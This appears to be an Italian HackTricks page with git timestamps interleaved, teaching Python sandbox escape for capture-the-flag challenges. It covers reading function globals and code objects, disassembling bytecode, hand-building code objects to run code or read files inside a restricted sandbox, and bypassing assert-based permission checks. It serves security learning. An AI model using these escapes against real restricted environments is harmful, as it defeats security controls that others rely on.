2024-07-18 22:12:19 +00:00
In alcuni CTF potresti ricevere il nome di una **funzione personalizzata in cui risiede il flag** e devi esaminare gli **interni** della **funzione** per estrarlo.
2020-07-15 15:43:14 +00:00
2024-02-10 13:03:23 +00:00
Questa è la funzione da ispezionare:
2020-07-15 15:43:14 +00:00
```python
def get_flag(some_input):
2024-02-10 13:03:23 +00:00
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"
2020-07-15 15:43:14 +00:00
```
2022-07-02 18:05:33 +00:00
#### dir
2020-07-15 15:43:14 +00:00
```python
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
```
2022-07-02 18:05:33 +00:00
#### globals
2020-07-15 15:43:14 +00:00
2024-05-05 22:09:41 +00:00
`__globals__` e `func_globals` (Stesso) Ottiene l'ambiente globale. Nell'esempio puoi vedere alcuni moduli importati, alcune variabili globali e il loro contenuto dichiarato:
2020-07-15 15:43:14 +00:00
```python
get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': < module ' __builtin__ ' ( built-in ) > , 'codeobj': < code object < module > at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': < function get_flag at 0x7f58c00b27d0 > , 'filename': './poc.py', '__package__': None, 'read': < function read at 0x7f58c00b23d0 > , 'code': < type ' code ' > , 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': < unbound method catch_warnings . __init__ > , '__name__': '__main__', 'foo': < function foo at 0x7f58c020eb50 > , '__doc__': None, 'dis': < module ' dis ' from '/ usr / lib / python2 . 7 / dis . pyc ' > }
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
2024-07-18 22:12:19 +00:00
[**Vedi qui altri luoghi per ottenere globals** ](./#globals-and-locals )
2020-07-15 15:43:14 +00:00
2024-02-10 13:03:23 +00:00
### **Accesso al codice della funzione**
2020-07-15 15:43:14 +00:00
2024-03-09 13:16:23 +00:00
**`__code__` ** e `func_code` : Puoi **accedere** a questo **attributo** della funzione per **ottenere l'oggetto codice** della funzione.
2020-07-15 15:43:14 +00:00
```python
2021-10-06 13:23:46 +00:00
# In our current example
get_flag.__code__
< code object get_flag at 0x7f9ca0133270 , file " < stdin > ", line 1
# Compiling some python code
compile("print(5)", "", "single")
< code object < module > at 0x7f9ca01330c0, file "", line 1>
2022-09-13 03:12:49 +06:00
#Get the attributes of the code object
2021-10-06 13:23:46 +00:00
dir(get_flag.__code__)
2020-07-15 15:43:14 +00:00
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
2021-10-06 13:23:46 +00:00
```
2024-02-10 13:03:23 +00:00
### Ottenere informazioni sul codice
2021-10-06 13:23:46 +00:00
```python
2022-05-01 13:41:36 +01:00
# Another example
2021-10-06 13:23:46 +00:00
s = '''
a = 5
b = 'text'
def f(x):
2024-02-10 13:03:23 +00:00
return x
2021-10-06 13:23:46 +00:00
f(5)
'''
c=compile(s, "", "exec")
2021-10-06 15:44:17 +00:00
# __doc__: Get the description of the function, if any
print.__doc__
2021-10-06 13:23:46 +00:00
# co_consts: Constants
get_flag.__code__.co_consts
2020-07-15 15:43:14 +00:00
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')
2021-10-06 13:23:46 +00:00
c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', < code object f at 0x7f9ca0133540 , file " " , line 4 > , 'f', None
# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()
c.co_names
('a', 'b', 'f')
#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')
#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()
#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()
2020-07-15 15:43:14 +00:00
#Get bytecode
2021-10-06 13:23:46 +00:00
get_flag.__code__.co_code
2020-07-15 15:43:14 +00:00
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
2024-02-10 13:03:23 +00:00
### **Disassemblare una funzione**
2020-07-15 15:43:14 +00:00
```python
2024-02-10 13:03:23 +00:00
import dis
dis.dis(get_flag)
2 0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (var1)
3 6 LOAD_CONST 2 ('secretcode')
9 STORE_FAST 2 (var2)
4 12 LOAD_CONST 3 ('some')
15 LOAD_CONST 4 ('array')
18 BUILD_LIST 2
21 STORE_FAST 3 (var3)
2020-07-15 15:43:14 +00:00
2024-02-10 13:03:23 +00:00
5 24 LOAD_FAST 0 (some_input)
27 LOAD_FAST 2 (var2)
30 COMPARE_OP 2 (==)
33 POP_JUMP_IF_FALSE 40
2021-10-06 14:43:31 +00:00
2024-02-10 13:03:23 +00:00
6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!')
39 RETURN_VALUE
2021-10-06 14:43:31 +00:00
2024-02-10 13:03:23 +00:00
8 >> 40 LOAD_CONST 6 ('Nope')
43 RETURN_VALUE
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
2024-09-04 13:32:48 +00:00
Nota che **se non puoi importare `dis` nel sandbox python** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code` ) e **disassemblarlo** localmente. Non vedrai il contenuto delle variabili che vengono caricate (`LOAD_CONST` ), ma puoi indovinarle da (`get_flag.func_code.co_consts` ) perché `LOAD_CONST` indica anche l'offset della variabile che viene caricata.
2021-10-06 14:43:31 +00:00
```python
2024-02-10 13:03:23 +00:00
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (1)
6 LOAD_CONST 2 (2)
9 STORE_FAST 2 (2)
12 LOAD_CONST 3 (3)
15 LOAD_CONST 4 (4)
18 BUILD_LIST 2
21 STORE_FAST 3 (3)
24 LOAD_FAST 0 (0)
27 LOAD_FAST 2 (2)
30 COMPARE_OP 2 (==)
33 POP_JUMP_IF_FALSE 40
36 LOAD_CONST 5 (5)
39 RETURN_VALUE
>> 40 LOAD_CONST 6 (6)
43 RETURN_VALUE
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
2021-10-06 14:43:31 +00:00
```
2024-07-18 22:12:19 +00:00
## Compilare Python
2021-10-06 14:43:31 +00:00
2024-07-18 22:12:19 +00:00
Ora, immaginiamo che in qualche modo tu possa **estrarre le informazioni su una funzione che non puoi eseguire** ma che **devi** **eseguire** .\
2024-10-01 14:36:02 +00:00
Come nel seguente esempio, tu **puoi accedere all'oggetto codice** di quella funzione, ma leggendo semplicemente il disassemblaggio tu **non sai come calcolare il flag** (_immagina una funzione `calc_flag` più complessa_)
2024-02-10 13:03:23 +00:00
```python
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### Creazione dell'oggetto codice
2021-10-06 14:43:31 +00:00
2024-02-10 13:03:23 +00:00
Prima di tutto, dobbiamo sapere **come creare ed eseguire un oggetto codice** in modo da poterne creare uno per eseguire la nostra funzione leaked:
2021-10-06 14:43:31 +00:00
```python
code_type = type((lambda: None).__code__)
2022-04-27 12:34:57 +00:00
# Check the following hint if you get an error in calling this
2021-10-06 14:43:31 +00:00
code_obj = code_type(co_argcount, co_kwonlyargcount,
2024-02-10 13:03:23 +00:00
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)
2021-10-06 14:43:31 +00:00
# Execution
eval(code_obj) #Execute as a whole script
2022-05-01 13:41:36 +01:00
# If you have the code of a function, execute it
2021-10-06 14:43:31 +00:00
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
2024-05-05 22:09:41 +00:00
{% hint style="info" %}
2024-07-18 22:12:19 +00:00
A seconda della versione di python, i **parametri** di `code_type` possono avere un **ordine diverso** . Il modo migliore per conoscere l'ordine dei parametri nella versione di python che stai eseguendo è eseguire:
2022-04-27 12:34:57 +00:00
```
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
```
2024-05-05 22:09:41 +00:00
{% endhint %}
2024-04-06 18:35:30 +00:00
2024-03-09 13:16:23 +00:00
### Ricreare una funzione trapelata
2021-10-06 14:43:31 +00:00
{% hint style="warning" %}
2024-07-18 22:12:19 +00:00
Nell'esempio seguente, prenderemo tutti i dati necessari per ricreare la funzione direttamente dall'oggetto codice della funzione. In un **esempio reale** , tutti i **valori** per eseguire la funzione ** `code_type` ** è ciò che **dovrai trapelare** .
2021-10-06 14:43:31 +00:00
{% endhint %}
```python
fc = get_flag.__code__
2021-10-06 15:45:31 +00:00
# In a real situation the values like fc.co_argcount are the ones you need to leak
2021-10-06 14:43:31 +00:00
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
2021-10-06 15:45:31 +00:00
2021-10-06 14:43:31 +00:00
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```
2024-07-18 22:12:19 +00:00
### Bypass Defenses
2021-10-06 14:43:31 +00:00
2024-10-01 14:36:02 +00:00
Negli esempi precedenti all'inizio di questo post, puoi vedere **come eseguire qualsiasi codice python utilizzando la funzione `compile`** . Questo è interessante perché puoi **eseguire interi script** con cicli e tutto in un **un'unica riga** (e potremmo fare lo stesso usando ** `exec` **).\
2024-09-04 13:32:48 +00:00
Comunque, a volte potrebbe essere utile **creare** un **oggetto compilato** su una macchina locale ed eseguirlo sulla **macchina CTF** (ad esempio perché non abbiamo la funzione `compiled` nel CTF).
2021-10-06 14:43:31 +00:00
2024-02-10 13:03:23 +00:00
Ad esempio, compiliamo ed eseguiamo manualmente una funzione che legge _./poc.py_ :
2021-10-06 14:43:31 +00:00
```python
#Locally
def read():
2024-02-10 13:03:23 +00:00
return open("./poc.py",'r').read()
2021-10-06 14:43:31 +00:00
read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
```
```python
#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get < type ' type ' >
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')
# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '< module > ', 1, '', (), ()))
#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '< module > ', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
2024-07-18 22:12:19 +00:00
Se non puoi accedere a `eval` o `exec` , potresti creare una **funzione adeguata** , ma chiamarla direttamente di solito fallirà con: _costruttore non accessibile in modalità ristretta_ . Quindi hai bisogno di una **funzione non nell'ambiente ristretto per chiamare questa funzione.**
2021-10-06 14:43:31 +00:00
```python
#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
2024-10-01 14:36:02 +00:00
## Decompilazione di Python Compilato
2021-10-06 14:43:31 +00:00
2024-07-18 22:12:19 +00:00
Utilizzando strumenti come [**https://www.decompiler.com/** ](https://www.decompiler.com ) è possibile **decompilare** un dato codice python compilato.
2021-12-24 01:52:37 +00:00
2024-07-18 22:12:19 +00:00
**Dai un'occhiata a questo tutorial**:
2021-12-24 01:52:37 +00:00
2024-04-06 18:35:30 +00:00
{% content-ref url="../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
[.pyc.md ](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md )
2021-12-24 01:52:37 +00:00
{% endcontent-ref %}
2024-07-18 22:12:19 +00:00
## Misc Python
2021-12-24 01:52:37 +00:00
2022-07-02 18:05:33 +00:00
### Assert
2021-12-24 01:52:37 +00:00
2024-07-18 22:12:19 +00:00
Python eseguito con ottimizzazioni con il parametro `-O` rimuoverà le dichiarazioni di asserzione e qualsiasi codice condizionale sul valore di **debug** .\
2024-02-10 13:03:23 +00:00
Pertanto, controlli come
2021-12-24 01:52:37 +00:00
```python
def check_permission(super_user):
2024-02-10 13:03:23 +00:00
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
2021-12-24 01:52:37 +00:00
```
2024-10-01 14:36:02 +00:00
will be bypassed
2024-04-06 18:35:30 +00:00
2024-02-10 13:03:23 +00:00
## Riferimenti
2020-07-15 15:43:14 +00:00
* [https://lbarman.ch/blog/pyjail/ ](https://lbarman.ch/blog/pyjail/ )
* [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/ ](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/ )
* [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/ ](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/ )
2021-11-23 09:46:40 +00:00
* [https://gynvael.coldwind.pl/n/python\_sandbox\_escape ](https://gynvael.coldwind.pl/n/python\_sandbox\_escape )
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html ](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html )
2021-12-24 01:52:37 +00:00
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6 ](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6 )
2022-04-28 16:01:33 +00:00
2024-07-18 22:12:19 +00:00
{% hint style="success" %}
2024-10-01 14:36:02 +00:00
Impara e pratica il hacking AWS:< img src = "../../../.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)** ](https://training.hacktricks.xyz/courses/arte )< img src = "../../../.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Impara e pratica il hacking GCP: < img src = "../../../.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line"> ](https://training.hacktricks.xyz/courses/grte )
2022-04-28 16:01:33 +00:00
2024-07-18 22:12:19 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-18 22:12:19 +00:00
< summary > Supporta HackTricks< / summary >
2023-12-30 21:49:23 +01:00
2024-07-18 22:12:19 +00:00
* Controlla i [**piani di abbonamento** ](https://github.com/sponsors/carlospolop )!
2024-03-09 13:16:23 +00:00
* **Unisciti al** 💬 [**gruppo Discord** ](https://discord.gg/hRep4RUj7f ) o al [**gruppo telegram** ](https://t.me/peass ) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-07-18 22:12:19 +00:00
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repos su github.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-18 22:12:19 +00:00
{% endhint %}